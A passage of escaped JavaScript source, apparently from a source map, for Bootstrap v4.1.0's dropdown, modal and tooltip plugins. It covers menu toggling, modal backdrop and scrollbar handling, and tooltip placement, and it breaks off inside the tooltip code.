_detectNavbar() {\n      return $(this._element).closest('.navbar').length > 0\n    }\n\n    _getPopperConfig() {\n      const offsetConf = {}\n      if (typeof this._config.offset === 'function') {\n        offsetConf.fn = (data) => {\n          data.offsets = {\n            ...data.offsets,\n            ...this._config.offset(data.offsets) || {}\n          }\n          return data\n        }\n      } else {\n        offsetConf.offset = this._config.offset\n      }\n      const popperConfig = {\n        placement: this._getPlacement(),\n        modifiers: {\n          offset: offsetConf,\n          flip: {\n            enabled: this._config.flip\n          },\n          preventOverflow: {\n            boundariesElement: this._config.boundary\n          }\n        }\n      }\n\n      // Disable Popper.js if we have a static display\n      if (this._config.display === 'static') {\n        popperConfig.modifiers.applyStyle = {\n          enabled: false\n        }\n      }\n      return popperConfig\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n        const _config = typeof config === 'object' ? config : null\n\n        if (!data) {\n          data = new Dropdown(this, _config)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config]()\n        }\n      })\n    }\n\n    static _clearMenus(event) {\n      if (event && (event.which === RIGHT_MOUSE_BUTTON_WHICH ||\n        event.type === 'keyup' && event.which !== TAB_KEYCODE)) {\n        return\n      }\n\n      const toggles = $.makeArray($(Selector.DATA_TOGGLE))\n      for (let i = 0; i < toggles.length; i++) {\n        const parent = Dropdown._getParentFromElement(toggles[i])\n        const context = $(toggles[i]).data(DATA_KEY)\n        const relatedTarget = {\n          relatedTarget: toggles[i]\n        }\n\n        if (!context) {\n          continue\n        }\n\n        const dropdownMenu = context._menu\n        if (!$(parent).hasClass(ClassName.SHOW)) {\n          continue\n        }\n\n        if (event && (event.type === 'click' &&\n            /input|textarea/i.test(event.target.tagName) || event.type === 'keyup' && event.which === TAB_KEYCODE) &&\n            $.contains(parent, event.target)) {\n          continue\n        }\n\n        const hideEvent = $.Event(Event.HIDE, relatedTarget)\n        $(parent).trigger(hideEvent)\n        if (hideEvent.isDefaultPrevented()) {\n          continue\n        }\n\n        // If this is a touch-enabled device we remove the extra\n        // empty mouseover listeners we added for iOS support\n        if ('ontouchstart' in document.documentElement) {\n          $(document.body).children().off('mouseover', null, $.noop)\n        }\n\n        toggles[i].setAttribute('aria-expanded', 'false')\n\n        $(dropdownMenu).removeClass(ClassName.SHOW)\n        $(parent)\n          .removeClass(ClassName.SHOW)\n          .trigger($.Event(Event.HIDDEN, relatedTarget))\n      }\n    }\n\n    static _getParentFromElement(element) {\n      let parent\n      const selector = Util.getSelectorFromElement(element)\n\n      if (selector) {\n        parent = $(selector)[0]\n      }\n\n      return parent || element.parentNode\n    }\n\n    // eslint-disable-next-line complexity\n    static _dataApiKeydownHandler(event) {\n      // If not input/textarea:\n      //  - And not a key in REGEXP_KEYDOWN => not a dropdown command\n      // If input/textarea:\n      //  - If space key => not a dropdown command\n      //  - If key is other than escape\n      //    - If key is not up or down => not a dropdown command\n      //    - If trigger inside the menu => not a dropdown command\n      if (/input|textarea/i.test(event.target.tagName)\n        ? event.which === SPACE_KEYCODE || event.which !== ESCAPE_KEYCODE &&\n        (event.which !== ARROW_DOWN_KEYCODE && event.which !== ARROW_UP_KEYCODE ||\n          $(event.target).closest(Selector.MENU).length) : !REGEXP_KEYDOWN.test(event.which)) {\n        return\n      }\n\n      event.preventDefault()\n      event.stopPropagation()\n\n      if (this.disabled || $(this).hasClass(ClassName.DISABLED)) {\n        return\n      }\n\n      const parent   = Dropdown._getParentFromElement(this)\n      const isActive = $(parent).hasClass(ClassName.SHOW)\n\n      if (!isActive && (event.which !== ESCAPE_KEYCODE || event.which !== SPACE_KEYCODE) ||\n           isActive && (event.which === ESCAPE_KEYCODE || event.which === SPACE_KEYCODE)) {\n        if (event.which === ESCAPE_KEYCODE) {\n          const toggle = $(parent).find(Selector.DATA_TOGGLE)[0]\n          $(toggle).trigger('focus')\n        }\n\n        $(this).trigger('click')\n        return\n      }\n\n      const items = $(parent).find(Selector.VISIBLE_ITEMS).get()\n\n      if (items.length === 0) {\n        return\n      }\n\n      let index = items.indexOf(event.target)\n\n      if (event.which === ARROW_UP_KEYCODE && index > 0) { // Up\n        index--\n      }\n\n      if (event.which === ARROW_DOWN_KEYCODE && index < items.length - 1) { // Down\n        index++\n      }\n\n      if (index < 0) {\n        index = 0\n      }\n\n      items[index].focus()\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document)\n    .on(Event.KEYDOWN_DATA_API, Selector.DATA_TOGGLE, Dropdown._dataApiKeydownHandler)\n    .on(Event.KEYDOWN_DATA_API, Selector.MENU, Dropdown._dataApiKeydownHandler)\n    .on(`${Event.CLICK_DATA_API} ${Event.KEYUP_DATA_API}`, Dropdown._clearMenus)\n    .on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n      event.preventDefault()\n      event.stopPropagation()\n      Dropdown._jQueryInterface.call($(this), 'toggle')\n    })\n    .on(Event.CLICK_DATA_API, Selector.FORM_CHILD, (e) => {\n      e.stopPropagation()\n    })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Dropdown._jQueryInterface\n  $.fn[NAME].Constructor = Dropdown\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Dropdown._jQueryInterface\n  }\n\n  return Dropdown\n})($, Popper)\n\nexport default Dropdown\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): modal.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Modal = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME               = 'modal'\n  const VERSION            = '4.1.0'\n  const DATA_KEY           = 'bs.modal'\n  const EVENT_KEY          = `.${DATA_KEY}`\n  const DATA_API_KEY       = '.data-api'\n  const JQUERY_NO_CONFLICT = $.fn[NAME]\n  const ESCAPE_KEYCODE     = 27 // KeyboardEvent.which value for Escape (Esc) key\n\n  const Default = {\n    backdrop : true,\n    keyboard : true,\n    focus    : true,\n    show     : true\n  }\n\n  const DefaultType = {\n    backdrop : '(boolean|string)',\n    keyboard : 'boolean',\n    focus    : 'boolean',\n    show     : 'boolean'\n  }\n\n  const Event = {\n    HIDE              : `hide${EVENT_KEY}`,\n    HIDDEN            : `hidden${EVENT_KEY}`,\n    SHOW              : `show${EVENT_KEY}`,\n    SHOWN             : `shown${EVENT_KEY}`,\n    FOCUSIN           : `focusin${EVENT_KEY}`,\n    RESIZE            : `resize${EVENT_KEY}`,\n    CLICK_DISMISS     : `click.dismiss${EVENT_KEY}`,\n    KEYDOWN_DISMISS   : `keydown.dismiss${EVENT_KEY}`,\n    MOUSEUP_DISMISS   : `mouseup.dismiss${EVENT_KEY}`,\n    MOUSEDOWN_DISMISS : `mousedown.dismiss${EVENT_KEY}`,\n    CLICK_DATA_API    : `click${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    SCROLLBAR_MEASURER : 'modal-scrollbar-measure',\n    BACKDROP           : 'modal-backdrop',\n    OPEN               : 'modal-open',\n    FADE               : 'fade',\n    SHOW               : 'show'\n  }\n\n  const Selector = {\n    DIALOG             : '.modal-dialog',\n    DATA_TOGGLE        : '[data-toggle=\"modal\"]',\n    DATA_DISMISS       : '[data-dismiss=\"modal\"]',\n    FIXED_CONTENT      : '.fixed-top, .fixed-bottom, .is-fixed, .sticky-top',\n    STICKY_CONTENT     : '.sticky-top',\n    NAVBAR_TOGGLER     : '.navbar-toggler'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Modal {\n    constructor(element, config) {\n      this._config              = this._getConfig(config)\n      this._element             = element\n      this._dialog              = $(element).find(Selector.DIALOG)[0]\n      this._backdrop            = null\n      this._isShown             = false\n      this._isBodyOverflowing   = false\n      this._ignoreBackdropClick = false\n      this._scrollbarWidth      = 0\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    // Public\n\n    toggle(relatedTarget) {\n      return this._isShown ? this.hide() : this.show(relatedTarget)\n    }\n\n    show(relatedTarget) {\n      if (this._isTransitioning || this._isShown) {\n        return\n      }\n\n      if ($(this._element).hasClass(ClassName.FADE)) {\n        this._isTransitioning = true\n      }\n\n      const showEvent = $.Event(Event.SHOW, {\n        relatedTarget\n      })\n\n      $(this._element).trigger(showEvent)\n\n      if (this._isShown || showEvent.isDefaultPrevented()) {\n        return\n      }\n\n      this._isShown = true\n\n      this._checkScrollbar()\n      this._setScrollbar()\n\n      this._adjustDialog()\n\n      $(document.body).addClass(ClassName.OPEN)\n\n      this._setEscapeEvent()\n      this._setResizeEvent()\n\n      $(this._element).on(\n        Event.CLICK_DISMISS,\n        Selector.DATA_DISMISS,\n        (event) => this.hide(event)\n      )\n\n      $(this._dialog).on(Event.MOUSEDOWN_DISMISS, () => {\n        $(this._element).one(Event.MOUSEUP_DISMISS, (event) => {\n          if ($(event.target).is(this._element)) {\n            this._ignoreBackdropClick = true\n          }\n        })\n      })\n\n      this._showBackdrop(() => this._showElement(relatedTarget))\n    }\n\n    hide(event) {\n      if (event) {\n        event.preventDefault()\n      }\n\n      if (this._isTransitioning || !this._isShown) {\n        return\n      }\n\n      const hideEvent = $.Event(Event.HIDE)\n\n      $(this._element).trigger(hideEvent)\n\n      if (!this._isShown || hideEvent.isDefaultPrevented()) {\n        return\n      }\n\n      this._isShown = false\n      const transition = $(this._element).hasClass(ClassName.FADE)\n\n      if (transition) {\n        this._isTransitioning = true\n      }\n\n      this._setEscapeEvent()\n      this._setResizeEvent()\n\n      $(document).off(Event.FOCUSIN)\n\n      $(this._element).removeClass(ClassName.SHOW)\n\n      $(this._element).off(Event.CLICK_DISMISS)\n      $(this._dialog).off(Event.MOUSEDOWN_DISMISS)\n\n\n      if (transition) {\n        const transitionDuration  = Util.getTransitionDurationFromElement(this._element)\n\n        $(this._element)\n          .one(Util.TRANSITION_END, (event) => this._hideModal(event))\n          .emulateTransitionEnd(transitionDuration)\n      } else {\n        this._hideModal()\n      }\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n\n      $(window, document, this._element, this._backdrop).off(EVENT_KEY)\n\n      this._config              = null\n      this._element             = null\n      this._dialog              = null\n      this._backdrop            = null\n      this._isShown             = null\n      this._isBodyOverflowing   = null\n      this._ignoreBackdropClick = null\n      this._scrollbarWidth      = null\n    }\n\n    handleUpdate() {\n      this._adjustDialog()\n    }\n\n    // Private\n\n    _getConfig(config) {\n      config = {\n        ...Default,\n        ...config\n      }\n      Util.typeCheckConfig(NAME, config, DefaultType)\n      return config\n    }\n\n    _showElement(relatedTarget) {\n      const transition = $(this._element).hasClass(ClassName.FADE)\n\n      if (!this._element.parentNode ||\n         this._element.parentNode.nodeType !== Node.ELEMENT_NODE) {\n        // Don't move modal's DOM position\n        document.body.appendChild(this._element)\n      }\n\n      this._element.style.display = 'block'\n      this._element.removeAttribute('aria-hidden')\n      this._element.scrollTop = 0\n\n      if (transition) {\n        Util.reflow(this._element)\n      }\n\n      $(this._element).addClass(ClassName.SHOW)\n\n      if (this._config.focus) {\n        this._enforceFocus()\n      }\n\n      const shownEvent = $.Event(Event.SHOWN, {\n        relatedTarget\n      })\n\n      const transitionComplete = () => {\n        if (this._config.focus) {\n          this._element.focus()\n        }\n        this._isTransitioning = false\n        $(this._element).trigger(shownEvent)\n      }\n\n      if (transition) {\n        const transitionDuration  = Util.getTransitionDurationFromElement(this._element)\n\n        $(this._dialog)\n          .one(Util.TRANSITION_END, transitionComplete)\n          .emulateTransitionEnd(transitionDuration)\n      } else {\n        transitionComplete()\n      }\n    }\n\n    _enforceFocus() {\n      $(document)\n        .off(Event.FOCUSIN) // Guard against infinite focus loop\n        .on(Event.FOCUSIN, (event) => {\n          if (document !== event.target &&\n              this._element !== event.target &&\n              $(this._element).has(event.target).length === 0) {\n            this._element.focus()\n          }\n        })\n    }\n\n    _setEscapeEvent() {\n      if (this._isShown && this._config.keyboard) {\n        $(this._element).on(Event.KEYDOWN_DISMISS, (event) => {\n          if (event.which === ESCAPE_KEYCODE) {\n            event.preventDefault()\n            this.hide()\n          }\n        })\n      } else if (!this._isShown) {\n        $(this._element).off(Event.KEYDOWN_DISMISS)\n      }\n    }\n\n    _setResizeEvent() {\n      if (this._isShown) {\n        $(window).on(Event.RESIZE, (event) => this.handleUpdate(event))\n      } else {\n        $(window).off(Event.RESIZE)\n      }\n    }\n\n    _hideModal() {\n      this._element.style.display = 'none'\n      this._element.setAttribute('aria-hidden', true)\n      this._isTransitioning = false\n      this._showBackdrop(() => {\n        $(document.body).removeClass(ClassName.OPEN)\n        this._resetAdjustments()\n        this._resetScrollbar()\n        $(this._element).trigger(Event.HIDDEN)\n      })\n    }\n\n    _removeBackdrop() {\n      if (this._backdrop) {\n        $(this._backdrop).remove()\n        this._backdrop = null\n      }\n    }\n\n    _showBackdrop(callback) {\n      const animate = $(this._element).hasClass(ClassName.FADE)\n        ? ClassName.FADE : ''\n\n      if (this._isShown && this._config.backdrop) {\n        this._backdrop = document.createElement('div')\n        this._backdrop.className = ClassName.BACKDROP\n\n        if (animate) {\n          $(this._backdrop).addClass(animate)\n        }\n\n        $(this._backdrop).appendTo(document.body)\n\n        $(this._element).on(Event.CLICK_DISMISS, (event) => {\n          if (this._ignoreBackdropClick) {\n            this._ignoreBackdropClick = false\n            return\n          }\n          if (event.target !== event.currentTarget) {\n            return\n          }\n          if (this._config.backdrop === 'static') {\n            this._element.focus()\n          } else {\n            this.hide()\n          }\n        })\n\n        if (animate) {\n          Util.reflow(this._backdrop)\n        }\n\n        $(this._backdrop).addClass(ClassName.SHOW)\n\n        if (!callback) {\n          return\n        }\n\n        if (!animate) {\n          callback()\n          return\n        }\n\n        const backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop)\n\n        $(this._backdrop)\n          .one(Util.TRANSITION_END, callback)\n          .emulateTransitionEnd(backdropTransitionDuration)\n      } else if (!this._isShown && this._backdrop) {\n        $(this._backdrop).removeClass(ClassName.SHOW)\n\n        const callbackRemove = () => {\n          this._removeBackdrop()\n          if (callback) {\n            callback()\n          }\n        }\n\n        if ($(this._element).hasClass(ClassName.FADE)) {\n          const backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop)\n\n          $(this._backdrop)\n            .one(Util.TRANSITION_END, callbackRemove)\n            .emulateTransitionEnd(backdropTransitionDuration)\n        } else {\n          callbackRemove()\n        }\n      } else if (callback) {\n        callback()\n      }\n    }\n\n    // ----------------------------------------------------------------------\n    // the following methods are used to handle overflowing modals\n    // todo (fat): these should probably be refactored out of modal.js\n    // ----------------------------------------------------------------------\n\n    _adjustDialog() {\n      const isModalOverflowing =\n        this._element.scrollHeight > document.documentElement.clientHeight\n\n      if (!this._isBodyOverflowing && isModalOverflowing) {\n        this._element.style.paddingLeft = `${this._scrollbarWidth}px`\n      }\n\n      if (this._isBodyOverflowing && !isModalOverflowing) {\n        this._element.style.paddingRight = `${this._scrollbarWidth}px`\n      }\n    }\n\n    _resetAdjustments() {\n      this._element.style.paddingLeft = ''\n      this._element.style.paddingRight = ''\n    }\n\n    _checkScrollbar() {\n      const rect = document.body.getBoundingClientRect()\n      this._isBodyOverflowing = rect.left + rect.right < window.innerWidth\n      this._scrollbarWidth = this._getScrollbarWidth()\n    }\n\n    _setScrollbar() {\n      if (this._isBodyOverflowing) {\n        // Note: DOMNode.style.paddingRight returns the actual value or '' if not set\n        //   while $(DOMNode).css('padding-right') returns the calculated value or 0 if not set\n\n        // Adjust fixed content padding\n        $(Selector.FIXED_CONTENT).each((index, element) => {\n          const actualPadding = $(element)[0].style.paddingRight\n          const calculatedPadding = $(element).css('padding-right')\n          $(element).data('padding-right', actualPadding).css('padding-right', `${parseFloat(calculatedPadding) + this._scrollbarWidth}px`)\n        })\n\n        // Adjust sticky content margin\n        $(Selector.STICKY_CONTENT).each((index, element) => {\n          const actualMargin = $(element)[0].style.marginRight\n          const calculatedMargin = $(element).css('margin-right')\n          $(element).data('margin-right', actualMargin).css('margin-right', `${parseFloat(calculatedMargin) - this._scrollbarWidth}px`)\n        })\n\n        // Adjust navbar-toggler margin\n        $(Selector.NAVBAR_TOGGLER).each((index, element) => {\n          const actualMargin = $(element)[0].style.marginRight\n          const calculatedMargin = $(element).css('margin-right')\n          $(element).data('margin-right', actualMargin).css('margin-right', `${parseFloat(calculatedMargin) + this._scrollbarWidth}px`)\n        })\n\n        // Adjust body padding\n        const actualPadding = document.body.style.paddingRight\n        const calculatedPadding = $(document.body).css('padding-right')\n        $(document.body).data('padding-right', actualPadding).css('padding-right', `${parseFloat(calculatedPadding) + this._scrollbarWidth}px`)\n      }\n    }\n\n    _resetScrollbar() {\n      // Restore fixed content padding\n      $(Selector.FIXED_CONTENT).each((index, element) => {\n        const padding = $(element).data('padding-right')\n        if (typeof padding !== 'undefined') {\n          $(element).css('padding-right', padding).removeData('padding-right')\n        }\n      })\n\n      // Restore sticky content and navbar-toggler margin\n      $(`${Selector.STICKY_CONTENT}, ${Selector.NAVBAR_TOGGLER}`).each((index, element) => {\n        const margin = $(element).data('margin-right')\n        if (typeof margin !== 'undefined') {\n          $(element).css('margin-right', margin).removeData('margin-right')\n        }\n      })\n\n      // Restore body padding\n      const padding = $(document.body).data('padding-right')\n      if (typeof padding !== 'undefined') {\n        $(document.body).css('padding-right', padding).removeData('padding-right')\n      }\n    }\n\n    _getScrollbarWidth() { // thx d.walsh\n      const scrollDiv = document.createElement('div')\n      scrollDiv.className = ClassName.SCROLLBAR_MEASURER\n      document.body.appendChild(scrollDiv)\n      const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth\n      document.body.removeChild(scrollDiv)\n      return scrollbarWidth\n    }\n\n    // Static\n\n    static _jQueryInterface(config, relatedTarget) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n        const _config = {\n          ...Modal.Default,\n          ...$(this).data(),\n          ...typeof config === 'object' && config\n        }\n\n        if (!data) {\n          data = new Modal(this, _config)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config](relatedTarget)\n        } else if (_config.show) {\n          data.show(relatedTarget)\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n    let target\n    const selector = Util.getSelectorFromElement(this)\n\n    if (selector) {\n      target = $(selector)[0]\n    }\n\n    const config = $(target).data(DATA_KEY)\n      ? 'toggle' : {\n        ...$(target).data(),\n        ...$(this).data()\n      }\n\n    if (this.tagName === 'A' || this.tagName === 'AREA') {\n      event.preventDefault()\n    }\n\n    const $target = $(target).one(Event.SHOW, (showEvent) => {\n      if (showEvent.isDefaultPrevented()) {\n        // Only register focus restorer if modal will actually get shown\n        return\n      }\n\n      $target.one(Event.HIDDEN, () => {\n        if ($(this).is(':visible')) {\n          this.focus()\n        }\n      })\n    })\n\n    Modal._jQueryInterface.call($(target), config, this)\n  })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Modal._jQueryInterface\n  $.fn[NAME].Constructor = Modal\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Modal._jQueryInterface\n  }\n\n  return Modal\n})($)\n\nexport default Modal\n","import $ from 'jquery'\nimport Popper from 'popper.js'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): tooltip.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Tooltip = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME               = 'tooltip'\n  const VERSION            = '4.1.0'\n  const DATA_KEY           = 'bs.tooltip'\n  const EVENT_KEY          = `.${DATA_KEY}`\n  const JQUERY_NO_CONFLICT = $.fn[NAME]\n  const CLASS_PREFIX       = 'bs-tooltip'\n  const BSCLS_PREFIX_REGEX = new RegExp(`(^|\\\\s)${CLASS_PREFIX}\\\\S+`, 'g')\n\n  const DefaultType = {\n    animation           : 'boolean',\n    template            : 'string',\n    title               : '(string|element|function)',\n    trigger             : 'string',\n    delay               : '(number|object)',\n    html                : 'boolean',\n    selector            : '(string|boolean)',\n    placement           : '(string|function)',\n    offset              : '(number|string)',\n    container           : '(string|element|boolean)',\n    fallbackPlacement   : '(string|array)',\n    boundary            : '(string|element)'\n  }\n\n  const AttachmentMap = {\n    AUTO   : 'auto',\n    TOP    : 'top',\n    RIGHT  : 'right',\n    BOTTOM : 'bottom',\n    LEFT   : 'left'\n  }\n\n  const Default = {\n    animation           : true,\n    template            : '<div class=\"tooltip\" role=\"tooltip\">' +\n                        '<div class=\"arrow\"></div>' +\n                        '<div class=\"tooltip-inner\"></div></div>',\n    trigger             : 'hover focus',\n    title               : '',\n    delay               : 0,\n    html                : false,\n    selector            : false,\n    placement           : 'top',\n    offset              : 0,\n    container           : false,\n    fallbackPlacement   : 'flip',\n    boundary            : 'scrollParent'\n  }\n\n  const HoverState = {\n    SHOW : 'show',\n    OUT  : 'out'\n  }\n\n  const Event = {\n    HIDE       : `hide${EVENT_KEY}`,\n    HIDDEN     : `hidden${EVENT_KEY}`,\n    SHOW       : `show${EVENT_KEY}`,\n    SHOWN      : `shown${EVENT_KEY}`,\n    INSERTED   : `inserted${EVENT_KEY}`,\n    CLICK      : `click${EVENT_KEY}`,\n    FOCUSIN    : `focusin${EVENT_KEY}`,\n    FOCUSOUT   : `focusout${EVENT_KEY}`,\n    MOUSEENTER : `mouseenter${EVENT_KEY}`,\n    MOUSELEAVE : `mouseleave${EVENT_KEY}`\n  }\n\n  const ClassName = {\n    FADE : 'fade',\n    SHOW : 'show'\n  }\n\n  const Selector = {\n    TOOLTIP       : '.tooltip',\n    TOOLTIP_INNER : '.tooltip-inner',\n    ARROW         : '.arrow'\n  }\n\n  const Trigger = {\n    HOVER  : 'hover',\n    FOCUS  : 'focus',\n    CLICK  : 'click',\n    MANUAL : 'manual'\n  }\n\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Tooltip {\n    constructor(element, config) {\n      /**\n       * Check for Popper dependency\n       * Popper - https://popper.js.org\n       */\n      if (typeof Popper === 'undefined') {\n        throw new TypeError('Bootstrap tooltips require Popper.js (https://popper.js.org)')\n      }\n\n      // private\n      this._isEnabled     = true\n      this._timeout       = 0\n      this._hoverState    = ''\n      this._activeTrigger = {}\n      this._popper        = null\n\n      // Protected\n      this.element = element\n      this.config  = this._getConfig(config)\n      this.tip     = null\n\n      this._setListeners()\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    static get NAME() {\n      return NAME\n    }\n\n    static get DATA_KEY() {\n      return DATA_KEY\n    }\n\n    static get Event() {\n      return Event\n    }\n\n    static get EVENT_KEY() {\n      return EVENT_KEY\n    }\n\n    static get DefaultType() {\n      return DefaultType\n    }\n\n    // Public\n\n    enable() {\n      this._isEnabled = true\n    }\n\n    disable() {\n      this._isEnabled = false\n    }\n\n    toggleEnabled() {\n      this._isEnabled = !this._isEnabled\n    }\n\n    toggle(event) {\n      if (!this._isEnabled) {\n        return\n      }\n\n      if (event) {\n        const dataKey = this.constructor.DATA_KEY\n        let context = $(event.currentTarget).data(dataKey)\n\n        if (!context) {\n          context = new this.constructor(\n            event.currentTarget,\n            this._getDelegateConfig()\n          )\n          $(event.currentTarget).data(dataKey, context)\n        }\n\n        context._activeTrigger.click = !context._activeTrigger.click\n\n        if (context._isWithActiveTrigger()) {\n          context._enter(null, context)\n        } else {\n          context._leave(null, context)\n        }\n      } else {\n        if ($(this.getTipElement()).hasClass(ClassName.SHOW)) {\n          this._leave(null, this)\n          return\n        }\n\n        this._enter(null, this)\n      }\n    }\n\n    dispose() {\n      clearTimeout(this._timeout)\n\n      $.removeData(this.element, this.constructor.DATA_KEY)\n\n      $(this.element).off(this.constructor.EVENT_KEY)\n      $(this.element).closest('.modal').off('hide.bs.modal')\n\n      if (this.tip) {\n        $(this.tip).remove()\n      }\n\n      this._isEnabled     = null\n      this._timeout       = null\n      this._hoverState    = null\n      this._activeTrigger = null\n      if (this._popper !== null) {\n        this._popper.destroy()\n      }\n\n      this._popper = null\n      this.element = null\n      this.config  = null\n      this.tip     = null\n    }\n\n    show() {\n      if ($(this.element).css('display') === 'none') {\n        throw new Error('Please use show on visible elements')\n      }\n\n      const showEvent = $.Event(this.constructor.Event.SHOW)\n      if (this.isWithContent() && this._isEnabled) {\n        $(this.element).trigger(showEvent)\n\n        const isInTheDom = $.contains(\n          this.element.ownerDocument.documentElement,\n          this.element\n        )\n\n        if (showEvent.isDefaultPrevented() || !isInTheDom) {\n          return\n        }\n\n        const tip   = this.getTipElement()\n        const tipId = Util.getUID(this.constructor.NAME)\n\n        tip.setAttribute('id', tipId)\n        this.element.setAttribute('aria-describedby', tipId)\n\n        this.setContent()\n\n        if (this.config.animation) {\n          $(tip).addClass(ClassName.FADE)\n        }\n\n        const placement  = typeof this.config.placement === 'function'\n          ? this.config.placement.call(this, tip, this.element)\n          : this.config.placement\n\n        const attachment = this._getAttachment(placement)\n        this.addAttachmentClass(attachment)\n\n        const container = this.config.container === false ? document.body : $(this.config.container)\n\n        $(tip).data(this.constructor.DATA_KEY, this)\n\n        if (!$.contains(this.element.ownerDocument.documentElement, this.tip)) {\n          $(tip).appendTo(container)\n        }\n\n        $(this.element).trigger(this.constructor.Event.INSERTED)\n\n        this._popper = new Popper(this.element, tip, {\n          placement: attachment,\n          modifiers: {\n            offset: {\n              offset: this.config.offset\n            },\n            flip: {\n              behavior: this.config.fallbackPlacement\n            },\n            arrow: {\n              element: Selector.ARROW\n            },\n            preventOverflow: {\n              boundariesElement: this.config.boundary\n            }\n          },\n          onCreate: (data) => {\n            if (data.originalPlacement !== data.placement) {\n              this._handlePopperPlacementChange(data)\n            }\n          },\n          onUpdate: (data) => {\n            this._handlePopperPlacementChange(data)\n          }\n        })\n\n        $(tip).addClass(ClassName.SHOW)\n\n        // If this is a touch-enabled device we add extra\n        // empty mouseover listeners to the body's immediate children;\n        // only needed because of broken event delegation on iOS\n        // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n        if ('ontouchstart' in document.documentElement) {\n          $(document.body).children().on('mouseover', null, $.noop)\n        }\n\n        const complete = () => {\n          if (this.config.animation) {\n            this._fixTransition()\n          }\n          const prevHoverState = this._hoverState\n          this._hoverState     = null\n\n          $(this.element).trigger(this.constructor.Event.SHOWN)\n\n          if (prevHoverState === HoverState.OUT) {\n            this._leave(null, this)\n          }\n        }\n\n        if ($(this.tip).hasClass(ClassName.FADE)) {\n          const transitionDuration = Util.getTransitionDurationFromElement(this.tip)\n\n          $(this.tip)\n            .one(Util.TRANSITION_END, complete)\n            .emulateTransitionEnd(transitionDuration)\n        } else {\n          complete()\n        }\n      }\n    }\n\n    hide(callback) {\n      const tip       = this.getTipElement()\n      const hideEvent = $.Event(this.constructor.Event.HIDE)\n      const complete = () => {\n        if (this._hoverState !== HoverState.SHOW && tip.parentNode) {\n          tip.parentNode.removeChild(tip)\n        }\n\n        this._cleanTipClass()\n        this.element.removeAttribute('aria-describedby')\n        $(this.element).trigger(this.constructor.Event.HIDDEN)\n        if (this._popper !== null) {\n          this._popper.destroy()\n        }\n\n        if (callback) {\n          callback()\n        }\n      }\n\n      $(this.element).trigger(hideEvent)\n\n      if (hideEvent.isDefaultPrevented()) {\n        return\n      }\n\n      $(tip).removeClass(ClassName.SHOW)\n\n      // If this is a touch-enabled device we remove the extra\n      // empty mouseover listeners we added for iOS support\n      if ('ontouchstart' in document.documentElement) {\n        $(document.body).children().off('mouseover', null, $.noop)\n      }\n\n      this._activeTrigger[Trigger.CLICK] = false\n      this._activeTrigger[Trigger.FOCUS] = false\n      this._activeTrigger[Trigger.HOVER] = false\n\n      if ($(this.tip).hasClass(ClassName.FADE)) {\n        const transitionDuration = Util.getTransitionDurationFromElement(tip)\n\n        $(tip)\n          .one(Util.TRANSITION_END, complete)\n          .emulateTransitionEnd(transitionDuration)\n      } else {\n        complete()\n      }\n\n      this._hoverState = ''\n    }\n\n    update() {\n      if (this._popper !== null) {\n        this._popper.scheduleUpdate()\n      }\n    }\n\n    // Protected\n\n    isWithContent() {\n      return Boolean(this.getTitle())\n    }\n\n    addAttachmentClass(attachment) {\n      $(this.getTipElement()).addClass(`${CLASS_PREFIX}-${attachment}`)\n    }\n\n    getTipElement() {\n      this.tip = this.tip || $(this.config.template)[0]\n      return this.tip\n    }\n\n    setContent() {\n      const $tip = $(this.getTipElement())\n      this.setElementContent($tip.find(Selector.TOOLTIP_INNER), this.getTitle())\n      $tip.removeClass(`${ClassName.FADE} ${ClassName.SHOW}`)\n    }\n\n    setElementContent($element, content) {\n      const html = this.config.html\n      if (typeof content === 'object' && (content.nodeType || content.jquery)) {\n        // Content is a DOM 